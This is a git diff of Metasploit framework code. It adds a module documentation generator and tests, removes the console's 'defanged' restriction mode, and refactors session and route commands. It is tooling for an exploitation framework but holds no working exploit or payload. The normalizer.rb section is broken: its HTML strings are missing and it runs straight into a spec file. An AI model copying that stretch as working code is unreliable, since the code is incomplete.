e = framework.encoders.create(name)
e.datastore.import_options_from_hash(datastore)
diff --git a/lib/msf/core/rpc/v10/rpc_module.rb b/lib/msf/core/rpc/v10/rpc_module.rb
index d851b1f501..ef80fadf3c 100644
--- a/lib/msf/core/rpc/v10/rpc_module.rb
+++ b/lib/msf/core/rpc/v10/rpc_module.rb
@@ -1,5 +1,7 @@
# -*- coding: binary -*-
+require 'msf/util/document_generator'
+
module Msf
module RPC
class RPC_Module < RPC_Base
@@ -70,6 +72,17 @@ class RPC_Module < RPC_Base
end
+ # Returns detailed information about a module in HTML.
+ #
+ # @return [String] HTML file.
+ # @example Here's how you would use this from the client:
+ # rpc.call('module.info_html', 'exploit', 'windows/smb/ms08_067_netapi')
+ def rpc_info_html(mtype, mname)
+ m = _find_module(mtype, mname)
+ Msf::Util::DocumentGenerator.get_module_document(m)
+ end
+
+
# Returns the metadata for a module.
#
# @param [String] mtype Module type. Supported types include (case-sensitive):
diff --git a/lib/msf/sanity.rb b/lib/msf/sanity.rb
index 0a5506fa03..dc5ef2696d 100644
--- a/lib/msf/sanity.rb
+++ b/lib/msf/sanity.rb
@@ -3,36 +3,6 @@
# Provides some sanity checks against the ruby build and version
#
-# Check for the broken pack/unpack in OS X 10.4.x
-if ([1].pack('n') == "\x01\x00")
- $stderr.puts "*** This ruby build has a broken pack/unpack implementation! "
-
- if (RUBY_PLATFORM =~ /darwin/)
- $stderr.puts " Apple shipped a broken version of ruby with the 10.4.x "
- $stderr.puts " release. Please install ruby from source, or use one of "
- $stderr.puts " the free package managers to obtain a working ruby build."
- end
-
- exit(0)
-end
-
-# Check for ruby 1.8.2 as the minimal supported version
-if (RUBY_VERSION =~ /^1\.[0-7]\./ or RUBY_VERSION =~ /^1\.8\.[0-1]$/)
- $stderr.puts "*** This version of ruby is not supported, please upgrade to 1.8.7+"
- exit(0)
-end
-
-# Check for ruby 1.9.0 and throw a big nasty warning
-if (RUBY_VERSION =~ /^1\.9\.0/)
- $stderr.puts "*** Ruby 1.9.0 is not supported, please upgrade to Ruby 1.9.3 or newer."
- exit(0)
-end
-
-# Check for ruby 1.9.1 and throw a warning
-if (RUBY_VERSION =~ /^1\.9\.1/)
- $stderr.puts "*** Ruby 1.9.1 is not supported, please upgrade to Ruby 1.9.3 or newer."
-end
-
if(RUBY_PLATFORM == 'java')
require 'socket'
s = Socket.new(::Socket::AF_INET, ::Socket::SOCK_STREAM, ::Socket::IPPROTO_TCP)
@@ -56,56 +26,3 @@ rescue ::LoadError
$stderr.puts "*** The ruby-openssl library is not installed, many features will be disabled!"
$stderr.puts "*** Examples: Meterpreter, SSL Sockets, SMB/NTLM Authentication, and more"
end
-
-
-#
-# Check for the ugly 1.8.7 short-named constants bug
-#
-
-class ConstBugTestA
- Const = 'A'
- def test
- Const == 'A'
- end
-end
-
-ConstBugTestC = ConstBugTestA.dup
-
-class ConstBugTestB < ConstBugTestC
- Const = 'B'
-end
-
-def ruby_187_const_bug
- bugged = false
-
- begin
- ConstBugTestA.new.test()
- ConstBugTestB.new.test()
- rescue ::NameError
- bugged = true
- end
-
- bugged
-end
-
-if(ruby_187_const_bug())
- $stderr.puts ""
- $stderr.puts "***********************************************************************"
- $stderr.puts "*** *"
- $stderr.puts "*** This version of the Ruby interpreter contains a serious bug *"
- $stderr.puts "*** related to short-named constants, we strongly recommend that you *"
- $stderr.puts "*** switch to a fixed version. Unfortunately, some Linux distros have *"
- $stderr.puts "*** backported the buggy patch into 1.8.6, so you may need to contact *"
- $stderr.puts "*** your vendor and ask them to review the URL below. *"
- $stderr.puts "*** *"
- $stderr.puts "*** Alternatively, you can download, build, and install the latest *"
- $stderr.puts "*** stable snapshot of Ruby from the following URL: *"
- $stderr.puts "*** - http://www.ruby-lang.org/ *"
- $stderr.puts "*** *"
- $stderr.puts "*** For more information, please see the following URL: *"
- $stderr.puts "*** - https://bugs.launchpad.net/bugs/282302 *"
- $stderr.puts "*** *"
- $stderr.puts "***********************************************************************"
- $stderr.puts ""
-end
-
diff --git a/lib/msf/ui/console/command_dispatcher.rb b/lib/msf/ui/console/command_dispatcher.rb
index c8bcd12e52..0d3155c755 100644
--- a/lib/msf/ui/console/command_dispatcher.rb
+++ b/lib/msf/ui/console/command_dispatcher.rb
@@ -60,12 +60,6 @@ module CommandDispatcher
def active_session=(mod)
driver.active_session = mod
end
- #
- # Checks to see if the driver is defanged.
- #
- def defanged?
- driver.defanged?
- end
#
# Logs an error message to the screen and the log file. The callstack is
diff --git a/lib/msf/ui/console/command_dispatcher/auxiliary.rb b/lib/msf/ui/console/command_dispatcher/auxiliary.rb
index b667c6367c..19bf3fb964 100644
--- a/lib/msf/ui/console/command_dispatcher/auxiliary.rb
+++ b/lib/msf/ui/console/command_dispatcher/auxiliary.rb
@@ -72,8 +72,6 @@ class Auxiliary
# Executes an auxiliary module
#
def cmd_run(*args)
- defanged?
-
opt_str = nil
action = mod.datastore['ACTION']
jobify = false
diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb
index a05d06080f..bfcef247c1 100644
--- a/lib/msf/ui/console/command_dispatcher/core.rb
+++ b/lib/msf/ui/console/command_dispatcher/core.rb
@@ -16,6 +16,7 @@ require 'msf/ui/console/command_dispatcher/nop'
require 'msf/ui/console/command_dispatcher/payload'
require 'msf/ui/console/command_dispatcher/auxiliary'
require 'msf/ui/console/command_dispatcher/post'
+require 'msf/util/document_generator'
module Msf
module Ui
@@ -34,18 +35,19 @@ class Core
# Session command options
@@sessions_opts = Rex::Parser::Arguments.new(
- "-c" => [ true, "Run a command on the session given with -i, or all"],
- "-h" => [ false, "Help banner" ],
- "-i" => [ true, "Interact with the supplied session ID" ],
- "-l" => [ false, "List all active sessions" ],
- "-v" => [ false, "List verbose fields" ],
- "-q" => [ false, "Quiet mode" ],
- "-k" => [ true, "Terminate sessions by session ID and/or range" ],
- "-K" => [ false, "Terminate all sessions" ],
- "-s" => [ true, "Run a script on the session given with -i, or all"],
- "-r" => [ false, "Reset the ring buffer for the session given with -i, or all"],
- "-u" => [ true, "Upgrade a shell to a meterpreter session on many platforms" ],
- "-t" => [ true, "Set a response timeout (default: 15)"])
+ "-c" => [ true, "Run a command on the session given with -i, or all" ],
+ "-h" => [ false, "Help banner" ],
+ "-i" => [ true, "Interact with the supplied session ID " ],
+ "-l" => [ false, "List all active sessions" ],
+ "-v" => [ false, "List sessions in verbose mode" ],
+ "-q" => [ false, "Quiet mode" ],
+ "-k" => [ true, "Terminate sessions by session ID and/or range" ],
+ "-K" => [ false, "Terminate all sessions" ],
+ "-s" => [ true, "Run a script on the session given with -i, or all" ],
+ "-r" => [ false, "Reset the ring buffer for the session given with -i, or all" ],
+ "-u" => [ true, "Upgrade a shell to a meterpreter session on many platforms" ],
+ "-t" => [ true, "Set a response timeout (default: 15)" ],
+ "-x" => [ false, "Show extended information in the session table" ])
@@jobs_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ],
@@ -94,10 +96,6 @@ class Core
"-h" => [ false, "Help banner." ],
"-e" => [ true, "Expression to evaluate." ])
- # The list of data store elements that cannot be set when in defanged
- # mode.
- DefangedProhibitedDataStoreElements = [ "MsfModulePaths" ]
-
# Constant for disclosure date formatting in search functions
DISCLOSURE_DATE_FORMAT = "%Y-%m-%d"
@@ -223,6 +221,13 @@ class Core
end
end
+ if framework.modules.module_load_warnings.length > 0
+ print_warning("The following modules were loaded with warnings:")
+ framework.modules.module_load_warnings.each do |path, error|
+ print_warning("\t#{path}: #{error}")
+ end
+ end
+
cmd_banner()
end
@@ -743,7 +748,9 @@ class Core
def cmd_info_help
print_line "Usage: info [mod2 mod3 ...]"
print_line
- print_line "Optionally the flag '-j' will print the data in json format"
+ print_line "Options:"
+ print_line "* The flag '-j' will print the data in json format"
+ print_line "* The flag '-d' will show the markdown version with a browser. More info, but could be slow."
print_line "Queries the supplied module or modules for information. If no module is given,"
print_line "show info for the currently active module."
print_line
@@ -754,15 +761,25 @@ class Core
#
def cmd_info(*args)
dump_json = false
+ show_doc = false
+
if args.include?('-j')
args.delete('-j')
dump_json = true
end
+ if args.include?('-d')
+ args.delete('-d')
+ show_doc = true
+ end
+
if (args.length == 0)
if (active_module)
if dump_json
print(Serializer::Json.dump_module(active_module) + "\n")
+ elsif show_doc
+ print_status("Please wait, generating documentation for #{active_module.shortname}")
+ Msf::Util::DocumentGenerator.spawn_module_document(active_module)
else
print(Serializer::ReadableText.dump_module(active_module))
end
@@ -783,6 +800,9 @@ class Core
print_error("Invalid module: #{name}")
elsif dump_json
print(Serializer::Json.dump_module(mod) + "\n")
+ elsif show_doc
+ print_status("Please wait, generating documentation for #{mod.shortname}")
+ Msf::Util::DocumentGenerator.get_module_document(mod)
else
print(Serializer::ReadableText.dump_module(mod))
end
@@ -808,7 +828,7 @@ class Core
end
end
- args.each { |name|
+ args.each do |name|
mod = framework.modules.create(name)
if (mod == nil)
@@ -816,7 +836,7 @@ class Core
else
show_options(mod)
end
- }
+ end
end
#
@@ -860,8 +880,6 @@ class Core
# Goes into IRB scripting mode
#
def cmd_irb(*args)
- defanged?
-
expressions = []
# Parse the command options
@@ -1210,8 +1228,6 @@ class Core
# the framework root plugin directory is used.
#
def cmd_load(*args)
- defanged?
-
if (args.length == 0)
cmd_load_help
return false
@@ -1306,65 +1322,57 @@ class Core
return false
end
- arg = args.shift
- case arg
+ action = args.shift
+ case action
when "add", "remove", "del"
- if (args.length < 3)
- print_error("Missing arguments to route #{arg}.")
+ subnet = args.shift
+ subnet,cidr_mask = subnet.split("/")
+
+ if cidr_mask
+ netmask = Rex::Socket.addr_ctoa(cidr_mask.to_i)
+ else
+ netmask = args.shift
+ end
+
+ gateway_name = args.shift
+
+ if (subnet.nil? || netmask.nil? || gateway_name.nil?)
+ print_error("Missing arguments to route #{action}.")
return false
end
- # Satisfy check to see that formatting is correct
- unless Rex::Socket::RangeWalker.new(args[0]).length == 1
- print_error "Invalid IP Address"
- return false
- end
+ gateway = nil
- unless Rex::Socket::RangeWalker.new(args[1]).length == 1
- print_error "Invalid Subnet mask"
- return false
- end
-
- gw = nil
-
- # Satisfy case problems
- args[2] = "Local" if (args[2] =~ /local/i)
-
- begin
- # If the supplied gateway is a global Comm, use it.
- if (Rex::Socket::Comm.const_defined?(args[2]))
- gw = Rex::Socket::Comm.const_get(args[2])
- end
- rescue NameError
- end
-
- # If we still don't have a gateway, check if it's a session.
- if ((gw == nil) and
- (session = framework.sessions.get(args[2])) and
- (session.kind_of?(Msf::Session::Comm)))
- gw = session
- elsif (gw == nil)
- print_error("Invalid gateway specified.")
- return false
- end
-
- if arg == "remove" or arg == "del"
- worked = Rex::Socket::SwitchBoard.remove_route(args[0], args[1], gw)
- if worked
- print_status("Route removed")
+ case gateway_name
+ when /local/i
+ gateway = Rex::Socket::Comm::Local
+ when /^[0-9]+$/
+ session = framework.sessions.get(gateway_name)
+ if session.kind_of?(Msf::Session::Comm)
+ gateway = session
+ elsif session.nil?
+ print_error("Not a session: #{gateway_name}")
+ return false
else
- print_error("Route not found")
+ print_error("Cannout route through specified session (not a Comm)")
+ return false
end
else
- worked = Rex::Socket::SwitchBoard.add_route(args[0], args[1], gw)
- if worked
- print_status("Route added")
- else
- print_error("Route already exists")
- end
+ print_error("Invalid gateway")
+ return false
end
+ msg = "Route "
+ if action == "remove" or action == "del"
+ worked = Rex::Socket::SwitchBoard.remove_route(subnet, netmask, gateway)
+ msg << (worked ? "removed" : "not found")
+ else
+ worked = Rex::Socket::SwitchBoard.add_route(subnet, netmask, gateway)
+ msg << (worked ? "added" : "already exists")
+ end
+ print_status(msg)
+
when "get"
if (args.length == 0)
print_error("You must supply an IP address.")
@@ -1476,8 +1484,6 @@ class Core
# restarts of the console.
#
def cmd_save(*args)
- defanged?
-
# Save the console config
driver.save_config
@@ -1508,8 +1514,6 @@ class Core
# Adds one or more search paths.
#
def cmd_loadpath(*args)
- defanged?
-
if (args.length == 0 or args.include? "-h")
cmd_loadpath_help
return true
@@ -1757,12 +1761,13 @@ class Core
#
def cmd_sessions(*args)
begin
- method = nil
- quiet = false
- verbose = false
- sid = nil
- cmds = []
- script = nil
+ method = nil
+ quiet = false
+ show_extended = false
+ verbose = false
+ sid = nil
+ cmds = []
+ script = nil
reset_ring = false
response_timeout = 15
@@ -1779,6 +1784,8 @@ class Core
when "-c"
method = 'cmd'
cmds << val if val
+ when "-x"
+ show_extended = true
when "-v"
verbose = true
# Do something with the supplied session identifier instead of
@@ -2041,7 +2048,7 @@ class Core
end
when 'list',nil
print_line
- print(Serializer::ReadableText.dump_sessions(framework, :verbose => verbose))
+ print(Serializer::ReadableText.dump_sessions(framework, :show_extended => show_extended, :verbose => verbose))
print_line
end
@@ -2163,22 +2170,21 @@ class Core
@cache_payloads = nil
end
- # Security check -- make sure the data store element they are setting
- # is not prohibited
- if global and DefangedProhibitedDataStoreElements.include?(name)
- defanged?
- end
-
# If the driver indicates that the value is not valid, bust out.
if (driver.on_variable_set(global, name, value) == false)
print_error("The value specified for #{name} is not valid.")
return true
end
- if append
- datastore[name] = datastore[name] + value
- else
- datastore[name] = value
+ begin
+ if append
+ datastore[name] = datastore[name] + value
+ else
+ datastore[name] = value
+ end
+ rescue OptionValidateError => e
+ print_error(e.message)
+ elog(e.message)
end
print_line("#{name} => #{datastore[name]}")
@@ -2190,7 +2196,6 @@ class Core
# @param str [String] the string currently being typed before tab was hit
# @param words [Array] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
-
def cmd_set_tabs(str, words)
# A value has already been specified
@@ -2595,9 +2600,9 @@ class Core
# Tab completion for the unset command
#
# @param str [String] the string currently being typed before tab was hit
- # @param words [Array] the previously completed words on the command line. words is always
- # at least 1 when tab completion has reached this stage since the command itself has been completed
-
+ # @param words [Array] the previously completed words on the command
+ # line. `words` is always at least 1 when tab completion has reached this
+ # stage since the command itself has been completed.
def cmd_unset_tabs(str, words)
datastore = active_module ? active_module.datastore : self.framework.datastore
datastore.keys
@@ -2834,16 +2839,8 @@ class Core
# Returns the revision of the framework and console library
#
def cmd_version(*args)
- svn_console_version = "$Revision: 15168 $"
- svn_metasploit_version = Msf::Framework::Revision.match(/ (.+?) \$/)[1] rescue nil
- if svn_metasploit_version
- print_line("Framework: #{Msf::Framework::Version}.#{svn_metasploit_version}")
- else
- print_line("Framework: #{Msf::Framework::Version}")
- end
- print_line("Console : #{Msf::Framework::Version}.#{svn_console_version.match(/ (.+?) \$/)[1]}")
-
- return true
+ print_line("Framework: #{Msf::Framework::Version}")
+ print_line("Console : #{Msf::Framework::Version}")
end
def cmd_grep_help
@@ -3520,7 +3517,7 @@ class Core
next if not o
# handle a search string, search deep
- if(
+ if (
not regex or
o.name.match(regex) or
o.description.match(regex) or
@@ -3534,7 +3531,7 @@ class Core
mod_opt_keys = o.options.keys.map { |x| x.downcase }
opts.each do |opt,val|
- if mod_opt_keys.include?(opt.downcase) == false or (val != nil and o.datastore[opt] != val)
+ if !mod_opt_keys.include?(opt.downcase) || (val != nil && o.datastore[opt] != val)
show = false
end
end
diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb
index f3c36e8463..d2b59bdf5e 100644
--- a/lib/msf/ui/console/command_dispatcher/db.rb
+++ b/lib/msf/ui/console/command_dispatcher/db.rb
@@ -463,7 +463,7 @@ class Db
if search_term
next unless (
host.attribute_names.any? { |a| host[a.intern].to_s.match(search_term) } ||
- !Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", framework.db.workspace.id, host.address, search_term.source).order("tags.id DESC").empty?
+ !Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", framework.db.workspace.id, host.address, search_term.source).references(:hosts).order("tags.id DESC").empty?
)
end
@@ -1033,7 +1033,7 @@ class Db
::ActiveRecord::Base.connection_pool.with_connection {
query = Metasploit::Credential::Core.where( workspace_id: framework.db.workspace )
- query = query.includes(:private, :public, :logins)
+ query = query.includes(:private, :public, :logins).references(:private, :public, :logins)
query = query.includes(logins: [ :service, { service: :host } ])
if type.present?
@@ -1647,6 +1647,7 @@ class Db
print_line " Amap Log -m"
print_line " Appscan"
print_line " Burp Session XML"
+ print_line " Burp Issue XML"
print_line " CI"
print_line " Foundstone"
print_line " FusionVM XML"
diff --git a/lib/msf/ui/console/command_dispatcher/exploit.rb b/lib/msf/ui/console/command_dispatcher/exploit.rb
index ea7be2c617..7d73935782 100644
--- a/lib/msf/ui/console/command_dispatcher/exploit.rb
+++ b/lib/msf/ui/console/command_dispatcher/exploit.rb
@@ -49,8 +49,6 @@ class Exploit
# Launches an exploitation attempt.
#
def cmd_exploit(*args)
- defanged?
-
opt_str = nil
payload = mod.datastore['PAYLOAD']
encoder = mod.datastore['ENCODER']
@@ -154,8 +152,7 @@ class Exploit
else
# If we didn't run a payload handler for this exploit it doesn't
# make sense to complain to the user that we didn't get a session
- disable_handler = /^true$/i === mod.datastore["DisablePayloadHandler"] ? true : false
- unless disable_handler
+ unless mod.datastore["DisablePayloadHandler"]
fail_msg = 'Exploit completed, but no session was created.'
print_status(fail_msg)
begin
diff --git a/lib/msf/ui/console/command_dispatcher/post.rb b/lib/msf/ui/console/command_dispatcher/post.rb
index 8ea990a66d..7b64a01098 100644
--- a/lib/msf/ui/console/command_dispatcher/post.rb
+++ b/lib/msf/ui/console/command_dispatcher/post.rb
@@ -78,8 +78,6 @@ class Post
# Executes an auxiliary module
#
def cmd_run(*args)
- defanged?
-
opt_str = nil
jobify = false
quiet = false
diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb
index d2292ba6a9..5e2222a168 100644
--- a/lib/msf/ui/console/driver.rb
+++ b/lib/msf/ui/console/driver.rb
@@ -139,18 +139,10 @@ class Driver < Msf::Ui::Driver
self.disable_output = false
# Whether or not command passthru should be allowed
- self.command_passthru = (opts['AllowCommandPassthru'] == false) ? false : true
+ self.command_passthru = opts.fetch('AllowCommandPassthru', true)
# Whether or not to confirm before exiting
- self.confirm_exit = (opts['ConfirmExit'] == true) ? true : false
-
- # Disables "dangerous" functionality of the console
- @defanged = opts['Defanged'] == true
-
- # If we're defanged, then command passthru should be disabled
- if @defanged
- self.command_passthru = false
- end
+ self.confirm_exit = opts['ConfirmExit']
# Parse any specified database.yml file
if framework.db.usable and not opts['SkipDatabaseInit']
@@ -535,6 +527,13 @@ class Driver < Msf::Ui::Driver
end
end
+ if framework.modules.module_load_warnings.length > 0
+ print_warning("The following modules were loaded with warnings:")
+ framework.modules.module_load_warnings.each do |path, error|
+ print_warning("\t#{path}: #{error}")
+ end
+ end
+
framework.events.on_ui_start(Msf::Framework::Revision)
if $msf_spinner_thread
@@ -563,7 +562,7 @@ class Driver < Msf::Ui::Driver
if (framework and framework.payloads.valid?(val) == false)
return false
- elsif active_module.type == 'exploit' && !active_module.is_payload_compatible?(val)
+ elsif active_module && active_module.type == 'exploit' && !active_module.is_payload_compatible?(val)
return false
elsif (active_module)
active_module.datastore.clear_non_user_defined
@@ -623,17 +622,6 @@ class Driver < Msf::Ui::Driver
#
attr_accessor :active_resource
- #
- # If defanged is true, dangerous functionality, such as exploitation, irb,
- # and command shell passthru is disabled. In this case, an exception is
- # raised.
- #
- def defanged?
- if @defanged
- raise DefangedException
- end
- end
-
def stop
framework.events.on_ui_stop()
super
@@ -652,7 +640,7 @@ protected
def unknown_command(method, line)
[method, method+".exe"].each do |cmd|
- if (command_passthru == true and Rex::FileUtils.find_full_path(cmd))
+ if command_passthru && Rex::FileUtils.find_full_path(cmd)
print_status("exec: #{line}")
print_line('')
@@ -762,17 +750,6 @@ protected
end
end
-#
-# This exception is used to indicate that functionality is disabled due to
-# defanged being true
-#
-class DefangedException < ::Exception
- def to_s
- "This functionality is currently disabled (defanged mode)"
- end
-end
-
-
end
end
end
diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb
index 07bcef3693..12fe0fcae2 100644
--- a/lib/msf/ui/console/module_command_dispatcher.rb
+++ b/lib/msf/ui/console/module_command_dispatcher.rb
@@ -122,8 +122,6 @@ module ModuleCommandDispatcher
# Checks to see if a target is vulnerable.
#
def cmd_check(*args)
- defanged?
-
ip_range_arg = args.shift || mod.datastore['RHOSTS'] || framework.datastore['RHOSTS'] || ''
opt = Msf::OptAddressRange.new('RHOSTS')
@@ -176,7 +174,7 @@ module ModuleCommandDispatcher
def check_simple(instance=nil)
unless instance
- instance = mod
+ instance = mod
end
rhost = instance.datastore['RHOST']
@@ -193,13 +191,13 @@ module ModuleCommandDispatcher
'LocalOutput' => driver.output)
if (code and code.kind_of?(Array) and code.length > 1)
if (code == Msf::Exploit::CheckCode::Vulnerable)
- print_good("#{peer} - #{code[1]}")
+ print_good("#{code[1]}")
report_vuln(instance)
else
- print_status("#{peer} - #{code[1]}")
+ print_status("#{code[1]}")
end
else
- msg = "#{peer} - Check failed: The state could not be determined."
+ msg = "Check failed: The state could not be determined."
print_error(msg)
elog("#{msg}\n#{caller.join("\n")}")
end
@@ -213,7 +211,7 @@ module ModuleCommandDispatcher
print_error("Check failed: #{e.message}")
elog("#{e.message}\n#{e.backtrace.join("\n")}")
rescue ::Exception => e
- print_error("#{peer} - Check failed: #{e.class} #{e}")
+ print_error("Check failed: #{e.class} #{e}")
elog("#{e.message}\n#{e.backtrace.join("\n")}")
end
end
diff --git a/lib/msf/util.rb b/lib/msf/util.rb
index 6ce2bdd01e..7439f57d30 100644
--- a/lib/msf/util.rb
+++ b/lib/msf/util.rb
@@ -21,7 +21,3 @@ end
# Executable generation and encoding
require 'msf/util/exe'
-
-# Parse SVN entries
-require 'msf/util/svn'
-
diff --git a/lib/msf/util/document_generator.rb b/lib/msf/util/document_generator.rb
new file mode 100644
index 0000000000..cd17faacfc
--- /dev/null
+++ b/lib/msf/util/document_generator.rb
@@ -0,0 +1,74 @@
+###
+#
+# This provides methods to generate documentation for a module.
+#
+###
+
+require 'msf/util/document_generator/pull_request_finder'
+require 'msf/util/document_generator/normalizer'
+
+module Msf
+ module Util
+ module DocumentGenerator
+
+
+ # Spawns a module document with a browser locally.
+ #
+ # @param mod [Msf::Module] Module to create document for.
+ # @return [void]
+ def self.spawn_module_document(mod)
+ md = get_module_document(mod)
+ f = Rex::Quickfile.new(["#{mod.shortname}_doc", '.html'])
+ f.write(md)
+ f.close
+ kb_path = f.path
+
+ Rex::Compat.open_webrtc_browser("file://#{kb_path}")
+ end
+
+
+ # Returns a module document in HTML.
+ #
+ # @param mod [Msf::Module] Module to create document for.
+ # @return [void]
+ def self.get_module_document(mod)
+ md = ''
+
+ kb_path = File.join(PullRequestFinder::MANUAL_BASE_PATH, "#{mod.fullname}.md")
+ kb = ''
+
+ if File.exists?(kb_path)
+ File.open(kb_path, 'rb') { |f| kb = f.read }
+ end
+
+ begin
+ pr_finder = PullRequestFinder.new
+ pr = pr_finder.search(mod)
+ rescue PullRequestFinder::Exception => e
+ pr = e
+ end
+
+ n = DocumentNormalizer.new
+ items = {
+ mod_description: mod.description,
+ mod_authors: mod.send(:module_info)['Author'],
+ mod_fullname: mod.fullname,
+ mod_name: mod.name,
+ mod_pull_requests: pr,
+ mod_refs: mod.references,
+ mod_rank: mod.rank,
+ mod_platforms: mod.send(:module_info)['Platform'],
+ mod_options: mod.options,
+ mod_demo: mod
+ }
+
+ if mod.respond_to?(:targets) && mod.targets
+ items[:mod_targets] = mod.targets
+ end
+
+ n.get_md_content(items, kb)
+ end
+
+ end
+ end
+end
diff --git a/lib/msf/util/document_generator/normalizer.rb b/lib/msf/util/document_generator/normalizer.rb
new file mode 100644
index 0000000000..788204b650
--- /dev/null
+++ b/lib/msf/util/document_generator/normalizer.rb
@@ -0,0 +1,288 @@
+require 'redcarpet'
+require 'erb'
+
+module Redcarpet
+ module Render
+ class MsfMdHTML < Redcarpet::Render::HTML
+
+ def block_code(code, language)
+ "
" \
+ "#{code}" \
+ "
"
+ end
+
+
+ def list(content, list_type)
+ if list_type == :unordered && content.scan(/
+
+
+ |
+ end
+
+ subject do
+ obj = described_class.new
+ obj.git_access_token = 'GITHUB_AUTH_TOKEN'
+
+ octo = Octokit::Client.new
+ allow(octo).to receive(:commits).and_return(commits)
+ allow(obj).to receive(:git_client).and_return(octo)
+ obj
+ end
+
+ let(:http_response) do
+ req = double('HttpResponse')
+ allow(req).to receive(:body).and_return(html)
+ req
+ end
+
+ let(:module_name) { 'modules/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb' }
+
+ let(:msf_mod) do
+ mod = double('Msf::Module')
+ init = double('Msf::Module#initialize')
+ allow(init).to receive(:source_location).and_return([ module_name ])
+ allow(mod).to receive(:method).with(any_args).and_return(init)
+ mod
+ end
+
+ before(:each) do
+ allow(ENV).to receive(:has_key?).and_return(true)
+ allow_any_instance_of(Net::HTTP).to receive(:request).with(any_args).and_return(http_response)
+ end
+
+ describe '#initialize' do
+ it 'sets the owner property' do
+ expect(subject.owner).to eq('rapid7')
+ end
+
+ it 'sets the repository' do
+ expect(subject.repository).to eq('rapid7/metasploit-framework')
+ end
+
+ it 'sets the branch' do
+ expect(subject.branch).to eq('master')
+ end
+
+ it 'sets the git access token' do
+ subject1 = described_class.new
+ subject1.git_access_token = 'FAKE KEY'
+ subject2 = described_class.new
+ expect(subject2.git_access_token).not_to eq(subject1.git_access_token)
+ end
+
+ it 'sets Octokit::Client' do
+ expect(subject.git_client).to be_kind_of(Octokit::Client)
+ end
+ end
+
+ describe '#search' do
+ context 'when a module is given' do
+ it 'returns a hash of pull requests' do
+ result = subject.search(msf_mod)
+ expect(result).to be_kind_of(Hash)
+ expect(result.keys.first).to eq(pr_num)
+ expect(result.first[1][:number]).to eq(pr_num)
+ expect(result.first[1][:title]).to include('Merged Pull Request')
+ end
+ end
+ end
+
+ describe '#get_normalized_module_name' do
+ context 'when a module is given' do
+ it 'returns the module name' do
+ expect(subject.send(:get_normalized_module_name, msf_mod)).to eq(module_name)
+ end
+ end
+ end
+
+ describe '#get_commits_from_file' do
+ context 'when a module path is given' do
+ it 'returns commits' do
+ expect(subject.send(:get_commits_from_file, module_name)).to eq(commits)
+ end
+ end
+ end
+
+ describe '#get_author' do
+ context 'when a commit is given' do
+ it 'returns the author name' do
+ expect(subject.send(:get_author, commit)).to eq(author_name)
+ end
+ end
+ end
+
+ describe '#is_author_blacklisted?' do
+ context 'when a commit authored by tabassassin is given' do
+ it 'returns true' do
+ c = double('commit')
+ allow(c).to receive(:author).and_return({author: 'tabassassin', login: 'tabassassin'})
+ expect(subject.send(:is_author_blacklisted?, c)).to be_truthy
+ end
+ end
+
+ context 'when a commit authored by a human is given' do
+ it 'returns false' do
+ expect(subject.send(:is_author_blacklisted?, commit)).to be_falsey
+ end
+ end
+ end
+
+ describe '#get_pull_requests_from_commits' do
+ context 'when commits are given' do
+ it 'returns pull requests' do
+ pr = subject.send(:get_pull_requests_from_commits, commits)
+ expect(pr).to be_kind_of(Hash)
+ expect(pr.keys.first).to eq(pr_num)
+ end
+ end
+ end
+
+ describe '#get_pull_request_from_commit' do
+ context 'when a commit is given' do
+ it 'returns a pull request' do
+ pr = subject.send(:get_pull_request_from_commit, commit)
+ expect(pr).to be_kind_of(Hash)
+ expect(pr[:number]).to eq(pr_num)
+ end
+ end
+ end
+
+end
diff --git a/spec/lib/net/dns/names/names_spec.rb b/spec/lib/net/dns/names/names_spec.rb
new file mode 100644
index 0000000000..96ea39a86f
--- /dev/null
+++ b/spec/lib/net/dns/names/names_spec.rb
@@ -0,0 +1,129 @@
+require 'msf/core'
+
+RSpec.describe Net::DNS::Names do
+ subject do
+ obj = Object.new
+ obj.extend(described_class)
+ end
+
+ describe '#dn_expand' do
+ context 'when offset is great than packet length' do
+ let(:packet) do
+ 'AAAAA'
+ end
+
+ let(:offset) do
+ 10
+ end
+
+ it 'raises an ExpandError exception' do
+ expect { subject.dn_expand(packet, offset) }.to raise_exception(ExpandError)
+ end
+ end
+
+ context 'when packet length is less than offset + INT16SZ' do
+ let(:packet) do
+ "\xc0"
+ end
+
+ let(:offset) do
+ 0
+ end
+
+ it 'raises an ExpandError exception' do
+ expect { subject.dn_expand(packet, offset) }.to raise_exception(ExpandError)
+ end
+ end
+
+ context 'when packet length is less than offset + packet length' do
+ let(:packet) do
+ 'AAAAA'
+ end
+
+ let(:offset) do
+ 4
+ end
+
+ it 'raises an ExpandError exception' do
+ expect { subject.dn_expand(packet, offset) }.to raise_exception(ExpandError)
+ end
+ end
+ end
+
+ describe '#pack_name' do
+ context 'when name data size is larger than 255 bytes' do
+ let(:name) do
+ 'A' * (255+1)
+ end
+
+ it 'raises an ArgumentError exception' do
+ expect { subject.pack_name(name) }.to raise_exception(ArgumentError)
+ end
+ end
+
+ context 'when label data is larger than 63 bytes' do
+ let(:name) do
+ 'A' * (63+1) + '.'
+ end
+
+ it 'raises an ArgumentError exception' do
+ expect { subject.pack_name(name) }.to raise_exception(ArgumentError)
+ end
+ end
+ end
+
+ describe '#names_array' do
+ let(:name) do
+ "AAA.AAA"
+ end
+
+ it 'returns an Array' do
+ expect(subject.names_array(name)).to be_kind_of(Array)
+ end
+ end
+
+ describe '#dn_comp' do
+ let(:name) do
+ 'AAAA'
+ end
+
+ let(:offset) do
+ 0
+ end
+
+ let(:compnames) do
+ {}
+ end
+
+ it 'returns 3 values' do
+ v = subject.dn_comp(name, offset, compnames)
+ expect(v.length).to eq(3)
+ expect(v[0]).to be_kind_of(String)
+ expect(v[1]).to be_kind_of(Fixnum)
+ expect(v[2]).to be_kind_of(Hash)
+ end
+ end
+
+ describe '#valid?' do
+ context 'when FQDN is valid' do
